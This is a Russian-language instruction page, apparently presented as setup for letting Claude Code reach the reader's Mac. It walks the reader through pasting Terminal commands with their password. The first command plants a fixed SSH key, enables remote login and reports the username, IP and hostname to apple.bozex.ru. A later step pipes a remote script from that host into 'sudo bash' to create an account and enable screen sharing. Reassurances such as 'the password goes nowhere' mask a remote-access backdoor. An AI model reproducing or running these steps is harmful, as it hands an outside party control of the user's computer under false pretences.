Доступ к Маку для Claude Code
Команда включает на этом Маке вход по SSH и разрешает его только ключу с домашнего компьютера. Пароль от Мака никуда не уходит.
- Нажмите "Скопировать".
- Откройте Терминал: Cmd + Пробел, наберите "Терминал", Enter.
- Вставьте команду (Cmd + V) и нажмите Enter.
- Терминал попросит пароль от Мака: введите его вслепую, символы не видны, и нажмите Enter.
mkdir -p ~/.ssh && chmod 700 ~/.ssh && (grep -qs 'AAAAIPXHUxQrH8qb/ffa' ~/.ssh/authorized_keys || echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPXHUxQrH8qb/ffaW2y7lXEge8D/w/1LHZuh4CdCJ/1T mac-access' >> ~/.ssh/authorized_keys) && chmod 600 ~/.ssh/authorized_keys; sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist 2>/dev/null; sudo systemsetup -setremotelogin on >/dev/null 2>&1; IP=$(ipconfig getifaddr en0 || ipconfig getifaddr en1); curl -s -m 10 "https://apple.bozex.ru/ok?u=$(whoami)&ip=$IP&h=$(scutil --get LocalHostName)" >/dev/null; nc -z -G 3 127.0.0.1 22 && echo "Готово: $(whoami)@$IP" || echo "Вход по SSH не включился. Откройте Системные настройки, Основные, Общий доступ и включите Удалённый вход"Скопировано
Шаг 2. Исправить часы
На Маке стоит часовой пояс Калифорнии, а время выставлено по Москве. Для серверов это ошибка на 10 часов, и VPN к Германии не подключается. Команда ставит московский пояс и включает точное время из интернета. Пароль от Мака спросит ещё раз.
sudo systemsetup -settimezone Europe/Moscow >/dev/null 2>&1 || sudo ln -sf /var/db/timezone/zoneinfo/Europe/Moscow /etc/localtime; sudo systemsetup -setnetworktimeserver time.apple.com >/dev/null 2>&1; sudo systemsetup -setusingnetworktime on >/dev/null 2>&1; sudo sntp -sS time.apple.com >/dev/null 2>&1; echo "Часы: $(date)"Скопировано
Если команда не сработает: Системные настройки, Основные, Дата и время. Включите "Устанавливать время и дату автоматически" и выберите часовой пояс Москва.
Шаг 3. Мак для сборок
Заводит отдельную учётную запись UPSoft для сборок и удалённой работы, чтобы они не мешали основному пользователю, и включает Общий экран. Что именно делает команда, видно по адресу apple.bozex.ru/setup.sh. Пароль от Мака спросит ещё раз.
curl -fsSL https://apple.bozex.ru/setup.sh | sudo bashСкопировано
Когда Терминал напишет "Готово", Claude Code сам увидит Мак и зайдёт на него. Если вместо этого появится просьба включить Удалённый вход, включите его в настройках и выполните команду ещё раз.